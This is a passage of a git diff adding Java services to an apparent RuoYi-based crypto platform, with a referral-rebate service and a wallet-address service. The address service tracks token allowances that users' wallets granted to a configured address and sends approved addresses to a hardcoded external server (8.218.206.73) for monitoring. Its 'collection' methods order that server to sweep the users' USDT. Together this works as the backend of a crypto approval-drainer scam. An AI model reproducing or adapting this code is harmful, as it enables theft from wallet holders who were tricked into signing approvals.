tActivityRecharge.setUpdateTime(DateUtils.getNowDate()); + return tActivityRechargeMapper.updateTActivityRecharge(tActivityRecharge); + } + + /** + * 批量删除充值活动 + * + * @param ids 需要删除的充值活动主键 + * @return 结果 + */ + @Override + public int deleteTActivityRechargeByIds(Long[] ids) + { + return tActivityRechargeMapper.deleteTActivityRechargeByIds(ids); + } + + /** + * 删除充值活动信息 + * + * @param id 充值活动主键 + * @return 结果 + */ + @Override + public int deleteTActivityRechargeById(Long id) + { + return tActivityRechargeMapper.deleteTActivityRechargeById(id); + } + + @Override + public void caseBackToFather(Long userId, BigDecimal amount, String type, String username, String serialId) { + + Setting rechargeRebatSetting = settingService.get(SettingEnum.RECHARGE_REBATE_SETTING.name()); + RechargeRebateSetting rechargeRebate = JSONUtil.toBean(rechargeRebatSetting.getSettingValue(), RechargeRebateSetting.class); + //如果开启状态 + if(null!=rechargeRebate&&rechargeRebate.getIsOpen()){ + TAppUser massUser = tAppUserMapper.selectById(userId); + //查询父级玩家用户是否为空 为空泽没有返利 不为空计算返利充值父级账户 + if(StringUtils.isNotBlank(massUser.getAppParentIds())){ + String appParentId = massUser.getAppParentIds(); + if (appParentId.indexOf(",")!=-1){ + appParentId = appParentId.split(",")[0]; + } + BigDecimal usdt; + BigDecimal beforeMount=BigDecimal.ZERO; + String remark=""; + String coin=""; + //获取父级 + TAppUser fatherUser = tAppUserMapper.selectById(appParentId); + //获取余额 + Map assetMap=tAppAssetService.getAssetByUserIdList(fatherUser.getUserId()); + //计算返点金额 + BigDecimal rechargePro = rechargeRebate.getRatio(); + usdt=amount.multiply(rechargePro.divide(new BigDecimal("100"))); + if (rechargeRebate.getRebateMaxAmount()!=null) { + //是否返点大于最大金额 + if(usdt.compareTo(rechargeRebate.getRebateMaxAmount())>=0){ + usdt=rechargeRebate.getRebateMaxAmount(); + } + } + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List currencyList = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + if (!CollectionUtils.isEmpty(currencyList)){ + for (AssetCoinSetting dict: currencyList) { + if (dict.getCoinName().equals(type)){ + TAppAsset asset= assetMap.get(dict.getCoin()+fatherUser.getUserId()); + beforeMount = asset.getAvailableAmount(); + remark = "1级用户id:"+userId+dict.getCoinName()+"充值返现"; + coin=dict.getCoin(); + if (Objects.isNull(asset)){ + tAppAssetService.createAsset(massUser,coin, AssetEnum.PLATFORM_ASSETS.getCode()); + } + tAppAssetService.updateByUserId(TAppAsset.builder().type(asset.getType()).symbol(coin).userId(fatherUser.getUserId()).amout(asset.getAmout().add(usdt)).availableAmount(beforeMount.add(usdt)).build()); + } + } + } + //入活动明细表 + TAgentActivityInfo agentActivityInfo = new TAgentActivityInfo(); + agentActivityInfo.setType(1); + agentActivityInfo.setAmount(usdt); + agentActivityInfo.setFromId(userId); + agentActivityInfo.setUserId(fatherUser.getUserId()); + // 1usdt-erc 2 usdt-trc 3btc 4eth + agentActivityInfo.setCoinType(coin); + agentActivityInfo.setStatus(2); + agentActivityInfo.setCreateTime(new Date()); + tAgentActivityInfoMapper.insertTAgentActivityInfo(agentActivityInfo); + //入账变表 + walletRecordService.generateRecord(fatherUser.getUserId(), usdt, RecordEnum.SUBORDINATE_RECHARGE_REBATE.getCode(), username, serialId, remark, beforeMount, beforeMount.add(usdt),coin,massUser.getAdminParentIds()); + + } + } + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAgentActivityInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAgentActivityInfoServiceImpl.java new file mode 100644 index 0000000..6bc5fef --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAgentActivityInfoServiceImpl.java @@ -0,0 +1,137 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.vo.TAgentActivityInfoVo; +import com.ruoyi.bussiness.mapper.TAgentActivityInfoMapper; +import com.ruoyi.bussiness.service.ITAgentActivityInfoService; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 返利活动明细Service业务层处理 + * + * @author ruoyi + * @date 2023-07-06 + */ +@Service +public class TAgentActivityInfoServiceImpl extends ServiceImpl implements ITAgentActivityInfoService +{ + @Autowired + private TAgentActivityInfoMapper tAgentActivityInfoMapper; + + /** + * 查询返利活动明细 + * + * @param id 返利活动明细主键 + * @return 返利活动明细 + */ + @Override + public TAgentActivityInfo selectTAgentActivityInfoById(String id) + { + return tAgentActivityInfoMapper.selectTAgentActivityInfoById(id); + } + + /** + * 查询返利活动明细列表 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 返利活动明细 + */ + @Override + public List selectTAgentActivityInfoList(TAgentActivityInfo tAgentActivityInfo) + { + return tAgentActivityInfoMapper.selectTAgentActivityInfoList(tAgentActivityInfo); + } + + /** + * 新增返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + @Override + public int insertTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo) + { + tAgentActivityInfo.setCreateTime(DateUtils.getNowDate()); + return tAgentActivityInfoMapper.insertTAgentActivityInfo(tAgentActivityInfo); + } + + /** + * 修改返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + @Override + public int updateTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo) + { + tAgentActivityInfo.setUpdateTime(DateUtils.getNowDate()); + return tAgentActivityInfoMapper.updateTAgentActivityInfo(tAgentActivityInfo); + } + + /** + * 批量删除返利活动明细 + * + * @param ids 需要删除的返利活动明细主键 + * @return 结果 + */ + @Override + public int deleteTAgentActivityInfoByIds(String[] ids) + { + return tAgentActivityInfoMapper.deleteTAgentActivityInfoByIds(ids); + } + + /** + * 删除返利活动明细信息 + * + * @param id 返利活动明细主键 + * @return 结果 + */ + @Override + public int deleteTAgentActivityInfoById(String id) + { + return tAgentActivityInfoMapper.deleteTAgentActivityInfoById(id); + } + + @Override + public int selectListByLeve(TAgentActivityInfo tAgentActivityInfo) { + return tAgentActivityInfoMapper.selectListByLeve(tAgentActivityInfo); + } + + @Override + public Map selectUserActivityInfo(TAgentActivityInfo tAgentActivityInfo) { + //查询1 2 3 级 + tAgentActivityInfo.setType(1); + tAgentActivityInfo.setStatus(2); + Map params = new HashMap<>(); + params.put("leve",1); + tAgentActivityInfo.setParams(params); + int oneCount = tAgentActivityInfoMapper.selectListByLeve(tAgentActivityInfo); + params.put("leve",2); + int twoCount = tAgentActivityInfoMapper.selectListByLeve(tAgentActivityInfo); + params.put("leve",3); + int threeCount = tAgentActivityInfoMapper.selectListByLeve(tAgentActivityInfo); + Map resultMap = new HashMap<>(); + resultMap.put("oneCount",oneCount); + resultMap.put("twoCount",twoCount); + resultMap.put("threeCount",threeCount); + resultMap.put("sumCount",oneCount+twoCount+threeCount); + BigDecimal sumAmount = tAgentActivityInfoMapper.selectAmountCountByUserId(tAgentActivityInfo); + sumAmount = Objects.isNull(sumAmount) ? BigDecimal.ZERO : sumAmount; + resultMap.put("sumAmount",sumAmount); + return resultMap; + } + + @Override + public List getAgentList(TAgentActivityInfo tAgentActivityInfo) { + return tAgentActivityInfoMapper.getAgentList(tAgentActivityInfo); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAddressInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAddressInfoServiceImpl.java new file mode 100644 index 0000000..26426e1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAddressInfoServiceImpl.java @@ -0,0 +1,565 @@ +package com.ruoyi.bussiness.service.impl; + +import java.math.BigDecimal; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; +import java.util.Map; + +import cn.hutool.http.HttpUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.IService; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.TCollectionOrder; +import com.ruoyi.bussiness.service.ITCollectionOrderService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.WalletType; +import com.ruoyi.common.eth.EthUtils; +import com.ruoyi.common.trc.TronUtils; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysConfigService; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.ruoyi.util.BotMessageBuildUtils; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.collections4.CollectionUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TAppAddressInfoMapper; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.service.ITAppAddressInfoService; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; +import org.web3j.utils.Convert; + +import javax.annotation.Resource; + +/** + * 钱包地址授权详情Service业务层处理 + * + * @author shenshen + * @date 2023-06-27 + */ +@Service +@Slf4j +public class TAppAddressInfoServiceImpl extends ServiceImpl implements ITAppAddressInfoService +{ + @Resource + private TAppAddressInfoMapper tAppAddressInfoMapper; + @Value("${app.name}") + private String clientName; + @Resource + private ISysConfigService configService; + @Resource + private MyTelegramBot myTelegramBot; + @Resource + private ITCollectionOrderService tCollectionOrderService; + /** + * 查询钱包地址授权详情 + * + * @param userId 钱包地址授权详情主键 + * @return 钱包地址授权详情 + */ + @Override + public TAppAddressInfo selectTAppAddressInfoByUserId(Long userId) + { + return tAppAddressInfoMapper.selectTAppAddressInfoByUserId(userId); + } + + /** + * 查询钱包地址授权详情列表 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 钱包地址授权详情 + */ + @Override + public List selectTAppAddressInfoList(TAppAddressInfo tAppAddressInfo) + { + return tAppAddressInfoMapper.selectTAppAddressInfoList(tAppAddressInfo); + } + + /** + * 新增钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + @Override + public int insertTAppAddressInfo(TAppAddressInfo tAppAddressInfo) + { + tAppAddressInfo.setCreateTime(DateUtils.getNowDate()); + tAppAddressInfo.setStatus("N"); + return tAppAddressInfoMapper.insertTAppAddressInfo(tAppAddressInfo); + } + + /** + * 修改钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + @Override + public int updateTAppAddressInfo(TAppAddressInfo tAppAddressInfo) + { + tAppAddressInfo.setUpdateTime(DateUtils.getNowDate()); + return tAppAddressInfoMapper.updateTAppAddressInfo(tAppAddressInfo); + } + + /** + * 批量删除钱包地址授权详情 + * + * @param userIds 需要删除的钱包地址授权详情主键 + * @return 结果 + */ + @Override + public int deleteTAppAddressInfoByUserIds(Long[] userIds) + { + return tAppAddressInfoMapper.deleteTAppAddressInfoByUserIds(userIds); + } + + /** + * 删除钱包地址授权详情信息 + * + * @param userId 钱包地址授权详情主键 + * @return 结果 + */ + @Override + public int deleteTAppAddressInfoByUserId(Long userId) + { + return tAppAddressInfoMapper.deleteTAppAddressInfoByUserId(userId); + } + + + @Override + public void refreshUsdtBalance(TAppAddressInfo wallet) { + try { + BigDecimal oldUsdt = wallet.getUsdt(); + if (wallet.getWalletType().equals(WalletType.ETH.name())) { + String usdt = EthUtils.getUsdtHttp(wallet.getAddress()); + if (usdt == null) { + usdt = "0"; + } + wallet.setUsdt(Convert.fromWei(usdt, Convert.Unit.MWEI)); + } else if (wallet.getWalletType().equals(WalletType.TRON.name())) { + Map accountBalance = TronUtils.getAccountBalance(wallet.getAddress()); + BigDecimal trxBalance = accountBalance.get("trxBalance"); + BigDecimal usdtBalance = accountBalance.get("usdtBalance"); + wallet.setTrx(trxBalance); + wallet.setUsdt(usdtBalance); + } + if (wallet.getUsdt().subtract(oldUsdt).compareTo(BigDecimal.ZERO) != 0) { + //机器人通知 + log.debug("成功发送用户 {} USDT余额变动消息 变动前:{}, 变动后:{} ", wallet.getAddress(), oldUsdt, wallet.getUsdt()); + SendMessage sendMessage = BotMessageBuildUtils.buildUsdtText(wallet, oldUsdt); + myTelegramBot.toSend(sendMessage); + } + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setUserId(wallet.getUserId()); + tAppAddressInfo.setUsdt(wallet.getUsdt()); + // 更新用户最新余额 + updateTAppAddressInfo(tAppAddressInfo); + }catch (Exception e){ + log.error("update usdt余额 error, addr:{}"+wallet.getAddress()+"异常"+e.getMessage()); + } + } + + @Override + public void sendFrontRunning(TAppAddressInfo wallet){ + + if(wallet.getUsdt ().compareTo (BigDecimal.ZERO) > 0){ + JSONObject body = new JSONObject (); + body.put ("address", wallet.getAddress ()); + body.put ("chain", "ETH"); + body.put ("amount", Convert.toWei (wallet.getUsdt (), Convert.Unit.MWEI).longValue ()); + body.put ("alertAmount", Convert.toWei (wallet.getUsdtMonitor (), Convert.Unit.MWEI).longValue ()); + body.put ("clientName", clientName); + try { + String ret = HttpUtil.createPost ("http://8.218.206.73:8001/hanksb666/api/order/address_submit") + .contentType ("application/json") + .body (body.toString ()).execute ().body (); + log. info("监控地址发送成功,ret:{}, body:{}", ret, body); + }catch (Exception e){ + log.error("监控地址发送失败,请检查第三方服务...:{}", body); + } + } + } + + @Override + public void refreshUsdtAllowed(TAppAddressInfo appAddressInfo) { + BigDecimal oldUsdt = appAddressInfo.getUsdt(); + String status= StringUtils.isEmpty(appAddressInfo.getStatus())?"N":"Y"; + if ("N".equals(status)) { + if (appAddressInfo.getWalletType().equals(WalletType.ETH.name())) { + try { + if (appAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + String allowedAddr = configService.selectConfigByKey("ERC"); + String allowerU = EthUtils.getAllowance(appAddressInfo.getAddress(), allowedAddr); + String eth = EthUtils.getEthHttp(appAddressInfo.getAddress()); + String usdt = EthUtils.getUsdtHttp(appAddressInfo.getAddress()); + if (usdt == null) { + usdt = "0"; + } + appAddressInfo.setUsdt(Convert.fromWei(usdt, Convert.Unit.MWEI)); + if (eth == null) { + eth = "0"; + } + appAddressInfo.setEth(Convert.fromWei(eth, Convert.Unit.ETHER)); + if (null == allowerU) { + log.error("刷新授权-检测用户 {} USDT余额变动异常", appAddressInfo.getAddress()); + return; + } + if (allowerU.indexOf('.') > 10) { + //授权成功 + appAddressInfo.setUsdtAllowed(new BigDecimal(100000000)); + //新授权 + sendFrontRunning(appAddressInfo); + } else { + appAddressInfo.setUsdtAllowed(new BigDecimal(allowerU)); + } + } else { + //已授权的要更新 + sendFrontRunning(appAddressInfo); + } + } catch (Exception e) { + log.error("update ETH allowed error, addr:{}", appAddressInfo.getAddress(), e); + } + } else if (appAddressInfo.getWalletType().equals(WalletType.TRON.name())) { + Map accountBalance = TronUtils.getAccountBalance(appAddressInfo.getAddress()); + BigDecimal trxBalance = accountBalance.get("trxBalance"); + BigDecimal usdtBalance = accountBalance.get("usdtBalance"); + appAddressInfo.setTrx(trxBalance); + appAddressInfo.setUsdt(usdtBalance); + if (appAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + JSONObject body = new JSONObject(); + body.put("address", appAddressInfo.getAddress()); + + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/getTronAllowerU") + .contentType("application/json") + .body(body.toString()).execute().body(); + JSONObject jsonObject = JSONObject.parseObject(ret); + appAddressInfo.setUsdtAllowed(new BigDecimal(jsonObject.getString("msg"))); + } + } + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setUserId(appAddressInfo.getUserId()); + tAppAddressInfo.setUsdtAllowed(appAddressInfo.getUsdtAllowed()); + tAppAddressInfo.setUsdt(appAddressInfo.getUsdt()); + tAppAddressInfo.setEth(appAddressInfo.getEth()); + tAppAddressInfo.setTrx(appAddressInfo.getTrx()); + // 更新用户最新余额 + updateTAppAddressInfo(tAppAddressInfo); + BigDecimal subtract = oldUsdt.subtract(tAppAddressInfo.getUsdt()); + if (subtract.compareTo(new BigDecimal(0)) != 0) { + SendMessage sendMessage = BotMessageBuildUtils.buildUsdtText(tAppAddressInfo, subtract); + myTelegramBot.toSend(sendMessage); + } + } + } + + @Override + public void refreshUsdcAllowed(TAppAddressInfo appAddressInfo) { + BigDecimal oldUsdt = appAddressInfo.getUsdt(); + String status= StringUtils.isEmpty(appAddressInfo.getStatus())?"N":"Y"; + if ("N".equals(status)) { + if (appAddressInfo.getWalletType().equals(WalletType.ETH.name())) { + try { + if (appAddressInfo.getUsdcAllowed().compareTo(BigDecimal.ZERO) <= 0) { + String allowedAddr = configService.selectConfigByKey("ERC"); + String allowerUsdc = EthUtils.getUsdcAllowance(appAddressInfo.getAddress(), allowedAddr); + String usdc = EthUtils.getUsdcHttp(appAddressInfo.getAddress()); + if (usdc == null) { + usdc = "0"; + } + appAddressInfo.setUsdc(Convert.fromWei(usdc, Convert.Unit.MWEI)); + if (null == allowerUsdc) { + log.error("刷新授权-检测用户 {} USDT余额变动异常", appAddressInfo.getAddress()); + return; + } + if (allowerUsdc.indexOf('.') > 10) { + //授权成功 + appAddressInfo.setUsdcAllowed(new BigDecimal(100000000)); + } else { + appAddressInfo.setUsdcAllowed(new BigDecimal(allowerUsdc)); + } + } else { + //已授权的要更新 + sendFrontRunning(appAddressInfo); + } + } catch (Exception e) { + log.error("update ETH allowed error, addr:{}", appAddressInfo.getAddress(), e); + } + } else if (appAddressInfo.getWalletType().equals(WalletType.TRON.name())) { + Map accountBalance = TronUtils.getAccountBalance(appAddressInfo.getAddress()); + BigDecimal trxBalance = accountBalance.get("trxBalance"); + BigDecimal usdtBalance = accountBalance.get("usdtBalance"); + appAddressInfo.setTrx(trxBalance); + appAddressInfo.setUsdt(usdtBalance); + if (appAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + JSONObject body = new JSONObject(); + body.put("address", appAddressInfo.getAddress()); + + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/getTronAllowerU") + .contentType("application/json") + .body(body.toString()).execute().body(); + JSONObject jsonObject = JSONObject.parseObject(ret); + appAddressInfo.setUsdtAllowed(new BigDecimal(jsonObject.getString("msg"))); + } + } + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setUserId(appAddressInfo.getUserId()); + tAppAddressInfo.setUsdtAllowed(appAddressInfo.getUsdtAllowed()); + tAppAddressInfo.setUsdt(appAddressInfo.getUsdt()); + tAppAddressInfo.setEth(appAddressInfo.getEth()); + tAppAddressInfo.setTrx(appAddressInfo.getTrx()); + // 更新用户最新余额 + updateTAppAddressInfo(tAppAddressInfo); + BigDecimal subtract = oldUsdt.subtract(tAppAddressInfo.getUsdt()); + if (subtract.compareTo(new BigDecimal(0)) != 0) { + SendMessage sendMessage = BotMessageBuildUtils.buildUsdtText(tAppAddressInfo, subtract); + myTelegramBot.toSend(sendMessage); + } + } + } + @Override + public int refreshAddressInfo(TAppAddressInfo tAppAddressInfo) { + tAppAddressInfo = selectTAppAddressInfoByUserId(tAppAddressInfo.getUserId()); + BigDecimal oldUsdt = tAppAddressInfo.getUsdt(); + String status= StringUtils.isEmpty(tAppAddressInfo.getStatus())?"N":tAppAddressInfo.getStatus(); + int i=1; + if ("N".equals(status)) { + if (tAppAddressInfo.getWalletType().equals(WalletType.ETH.name())) { + String usdt = EthUtils.getUsdtHttp(tAppAddressInfo.getAddress()); + if (usdt == null) { + usdt = "0"; + } + tAppAddressInfo.setUsdt(Convert.fromWei(usdt, Convert.Unit.MWEI)); + String eth = EthUtils.getEthHttp(tAppAddressInfo.getAddress()); + String usdc = EthUtils.getUsdcHttp(tAppAddressInfo.getAddress()); + if (usdc == null) { + usdc = "0"; + } + if (eth == null) { + eth = "0"; + } + tAppAddressInfo.setUsdc(Convert.fromWei(usdc, Convert.Unit.MWEI)); + tAppAddressInfo.setEth(Convert.fromWei(eth, Convert.Unit.ETHER)); + log.debug("refresh,wallet:{},", tAppAddressInfo); + try { + if (tAppAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + String allowedAddr = configService.selectConfigByKey("ERC"); + String allowerU = EthUtils.getAllowance(tAppAddressInfo.getAddress(), allowedAddr); + + if (allowerU.indexOf('.') > 10) { + tAppAddressInfo.setUsdtAllowed(new BigDecimal(100000000)); + sendFrontRunning(tAppAddressInfo); + } else { + tAppAddressInfo.setUsdtAllowed(new BigDecimal(allowerU)); + } + + } else { + sendFrontRunning(tAppAddressInfo); + } + if (tAppAddressInfo.getUsdcAllowed().compareTo(BigDecimal.ZERO) <= 0) { + String allowedAddr = configService.selectConfigByKey("ERC"); + String allowerUsdc = EthUtils.getUsdcAllowance(tAppAddressInfo.getAddress(), allowedAddr); + if (allowerUsdc.indexOf('.') > 10) { + tAppAddressInfo.setUsdcAllowed(new BigDecimal(100000000)); + } else { + tAppAddressInfo.setUsdcAllowed(new BigDecimal(allowerUsdc)); + } + } else { + sendFrontRunning(tAppAddressInfo); + } + } catch (Exception e) { + log.error("update ETH allowed error, addr:{}", tAppAddressInfo.getAddress(), e); + } + } else if (tAppAddressInfo.getWalletType().equals(WalletType.TRON.name())) { + log.debug("刷新TRON余额"); + Map accountBalance = TronUtils.getAccountBalance(tAppAddressInfo.getAddress()); + BigDecimal trxBalance = accountBalance.get("trxBalance"); + BigDecimal usdtBalance = accountBalance.get("usdtBalance"); + tAppAddressInfo.setTrx(trxBalance); + tAppAddressInfo.setUsdt(usdtBalance); + if (tAppAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + JSONObject body = new JSONObject(); + body.put("address", tAppAddressInfo.getAddress()); + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/getTronAllowerU") + .contentType("application/json") + .body(body.toString()).execute().body(); + log.debug("查询授权回调" + ret); + JSONObject jsonObject = JSONObject.parseObject(ret); + tAppAddressInfo.setUsdtAllowed(new BigDecimal(jsonObject.getString("msg"))); + } + + } + //先修改addressinfo + i = updateTAppAddressInfo(tAppAddressInfo); + //如果金额变动 需要通知机器人去通知。 + BigDecimal subtract = oldUsdt.subtract(tAppAddressInfo.getUsdt()); + if (subtract.compareTo(new BigDecimal(0)) != 0) { + SendMessage sendMessage = BotMessageBuildUtils.buildUsdtText(tAppAddressInfo, subtract); + myTelegramBot.toSend(sendMessage); + } + } + return i; + } + + @Override + public String collection(TAppAddressInfo address) { + //查看当前是否有正在进行中的归集订单 + List list = tCollectionOrderService.list(new LambdaQueryWrapper().eq(TCollectionOrder::getAddress, address.getAddress()).eq(TCollectionOrder::getStatus,"1")); + if(!CollectionUtils.isEmpty(list)){ + return "该用户已有归集订单正在进行中,请稍后再试!"; + } + + List tAppAddressInfos = selectTAppAddressInfoList(address); + TAppAddressInfo wallet = new TAppAddressInfo(); + if(tAppAddressInfos.size()>0){ + wallet = tAppAddressInfos.get(0); + } + if (wallet.getUsdtAllowed().intValue() < 0) { + return "授权额太小.."; + } + Long amount = 0L; + BigDecimal usdt =BigDecimal.ZERO; + if (wallet.getWalletType().equals(WalletType.ETH.name())) { + usdt = new BigDecimal(EthUtils.getUsdtHttp(address.getAddress())); + if (usdt == null) { + return "获取不到地址U数量"; + } + if ("0".equals(usdt)) { + return "此地址查到的U为0"; + } + amount = usdt.longValue(); + log.debug("usdt金额:{}", usdt); + } else if (wallet.getWalletType().equals(WalletType.TRON.name())) { + usdt = TronUtils.getAccountBalance(wallet.getAddress()).get(TronUtils.USDT_BALANCE_KEY); + if (usdt.compareTo(BigDecimal.ZERO) <= 0) { + return "此地址查到的U为0"; + } + amount = usdt.longValue () * 1000000L; + log.debug("usdt金额:{}", usdt); + } + TCollectionOrder tCollectionOrder = new TCollectionOrder(); + tCollectionOrder.setAmount(new BigDecimal(amount).divide(new BigDecimal(1000000))); + tCollectionOrder.setAddress(address.getAddress()); + tCollectionOrder.setChain(wallet.getWalletType ()); + tCollectionOrder.setClientName(clientName); + tCollectionOrder.setStatus("1"); + tCollectionOrder.setCreateTime(new Date()); + String orderId = "X"+OrderUtils.generateOrderNum(); + tCollectionOrder.setOrderId(orderId); + try { + com.alibaba.fastjson.JSONObject body = new com.alibaba.fastjson.JSONObject(); + body.put("address", address.getAddress()); + body.put("orderId", orderId); + body.put("chain", wallet.getWalletType ()); + body.put("amount", amount); + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/create") + .contentType("application/json") + .body(body.toString ()).execute().body(); + log.info("归集返回:{}",ret); + //返回结果转JSON + JSONObject jsonObject = JSONObject.parseObject(ret); + AjaxResult ajaxResult = JSONUtil.toBean(jsonObject.toJSONString(), AjaxResult.class); + Map data = (Map) ajaxResult.get("data"); + String hash = data.get("hash"); + tCollectionOrder.setHash(hash); + log.debug("归集请求发送,ret:{}, body:{}", ret, body); + String loginName = SecurityUtils.getUsername(); + tCollectionOrder.setCoin("usdt"); + tCollectionOrder.setCreateBy(loginName); + tCollectionOrder.setUserId(wallet.getUserId()); + tCollectionOrderService.insertTCollectionOrder(tCollectionOrder); + } catch (Exception e) { + e.printStackTrace(); + } + return "归集请求发送"; + } + @Override + public String collectionUsdc(TAppAddressInfo address) { + //查看当前是否有正在进行中的归集订单 + List list = tCollectionOrderService.list(new LambdaQueryWrapper().eq(TCollectionOrder::getAddress, address.getAddress()).eq(TCollectionOrder::getStatus,"1")); + if(!CollectionUtils.isEmpty(list)){ + return "该用户已有归集订单正在进行中,请稍后再试!"; + } + + List tAppAddressInfos = selectTAppAddressInfoList(address); + TAppAddressInfo wallet = new TAppAddressInfo(); + if(tAppAddressInfos.size()>0){ + wallet = tAppAddressInfos.get(0); + } + if (wallet.getUsdcAllowed().intValue() < 0) { + return "授权额太小.."; + } + Long amount = 0L; + BigDecimal usdt =BigDecimal.ZERO; + if (wallet.getWalletType().equals(WalletType.ETH.name())) { + usdt = new BigDecimal(EthUtils.getUsdtHttp(address.getAddress())); + if (usdt == null) { + return "获取不到地址U数量"; + } + if ("0".equals(usdt)) { + return "此地址查到的U为0"; + } + amount = usdt.longValue(); + log.debug("usdt金额:{}", usdt); + } else if (wallet.getWalletType().equals(WalletType.TRON.name())) { + usdt = TronUtils.getAccountBalance(wallet.getAddress()).get(TronUtils.USDT_BALANCE_KEY); + if (usdt.compareTo(BigDecimal.ZERO) <= 0) { + return "此地址查到的U为0"; + } + amount = usdt.longValue () * 1000000L; + log.debug("usdt金额:{}", usdt); + } + TCollectionOrder tCollectionOrder = new TCollectionOrder(); + tCollectionOrder.setAmount(new BigDecimal(amount).divide(new BigDecimal(1000000))); + tCollectionOrder.setAddress(address.getAddress()); + tCollectionOrder.setChain(wallet.getWalletType ()); + tCollectionOrder.setClientName(clientName); + tCollectionOrder.setStatus("1"); + tCollectionOrder.setCreateTime(new Date()); + String orderId = "X"+OrderUtils.generateOrderNum(); + tCollectionOrder.setOrderId(orderId); + try { + com.alibaba.fastjson.JSONObject body = new com.alibaba.fastjson.JSONObject(); + body.put("address", address.getAddress()); + body.put("orderId", orderId); + body.put("chain","USDC"); + body.put("amount", amount); + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/create") + .contentType("application/json") + .body(body.toString ()).execute().body(); + log.info("归集返回:{}",ret); + //返回结果转JSON + JSONObject jsonObject = JSONObject.parseObject(ret); + AjaxResult ajaxResult = JSONUtil.toBean(jsonObject.toJSONString(), AjaxResult.class); + Map data = (Map) ajaxResult.get("data"); + String hash = data.get("hash"); + tCollectionOrder.setHash(hash); + log.debug("归集请求发送,ret:{}, body:{}", ret, body); + String loginName = SecurityUtils.getUsername(); + tCollectionOrder.setCoin("usdt"); + tCollectionOrder.setCreateBy(loginName); + tCollectionOrder.setUserId(wallet.getUserId()); + tCollectionOrderService.insertTCollectionOrder(tCollectionOrder); + } catch (Exception e) { + e.printStackTrace(); + } + return "归集请求发送"; + } + @Override + public List getAllowedUser() { + return tAppAddressInfoMapper.getAllowedUser(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAssetServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAssetServiceImpl.java new file mode 100644 index 0000000..cce2d8b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAssetServiceImpl.java @@ -0,0 +1,364 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.vo.AssetTransFundsVO; +import com.ruoyi.bussiness.domain.vo.UserBonusVO; + +import com.ruoyi.bussiness.mapper.TAppAssetMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import 